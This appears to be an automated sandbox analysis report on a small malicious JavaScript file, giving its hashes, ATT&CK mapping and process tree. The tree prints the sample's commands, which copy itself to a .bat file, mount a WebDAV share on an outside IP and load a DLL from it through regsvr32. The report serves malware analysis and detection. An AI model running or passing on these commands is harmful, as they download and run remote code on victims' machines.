ee0a7006c38f316ea6d093d7bcaf1aa37310cf7d671745b03d5ef79b5842414a

Analysis

max time kernel
119s
max time network
127s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 12:45

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General

Target

2502147741522828891.js
Size

5KB
MD5

0321ea9d8851ebd720ab29b2539865ea
SHA1

4cae3ca4b6033b9602d751e0f0793c031c52073f
SHA256

ee0a7006c38f316ea6d093d7bcaf1aa37310cf7d671745b03d5ef79b5842414a
SHA512

61991e4a6c5db2f8bf5a48cad1bb65ee7f0144ba5043590f63a870158f5a0481ad84fc2c7f9b16fd78dbf2f2a185deb4d0f9e2e8991cf4d3511ef1c6b308d593
SSDEEP

96:ORL3q6EVNvZllsNYZll6b6uuklMVJ+AyskT:6U0pduJsskT

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2700	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2924	2872	wscript.exe	30
PID 2872 wrote to memory of 2924	2872	wscript.exe	30
PID 2872 wrote to memory of 2924	2872	wscript.exe	30
PID 2924 wrote to memory of 2616	2924	cmd.exe	32
PID 2924 wrote to memory of 2616	2924	cmd.exe	32
PID 2924 wrote to memory of 2616	2924	cmd.exe	32
PID 2924 wrote to memory of 2700	2924	cmd.exe	33
PID 2924 wrote to memory of 2700	2924	cmd.exe	33
PID 2924 wrote to memory of 2700	2924	cmd.exe	33
PID 2924 wrote to memory of 2700	2924	cmd.exe	33
PID 2924 wrote to memory of 2700	2924	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2502147741522828891.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2502147741522828891.js" "C:\Users\Admin\\elpudq.bat" && "C:\Users\Admin\\elpudq.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2616
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\128.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\elpudq.bat

Filesize
5KB

MD5
0321ea9d8851ebd720ab29b2539865ea

SHA1
4cae3ca4b6033b9602d751e0f0793c031c52073f

SHA256
ee0a7006c38f316ea6d093d7bcaf1aa37310cf7d671745b03d5ef79b5842414a

SHA512
61991e4a6c5db2f8bf5a48cad1bb65ee7f0144ba5043590f63a870158f5a0481ad84fc2c7f9b16fd78dbf2f2a185deb4d0f9e2e8991cf4d3511ef1c6b308d593

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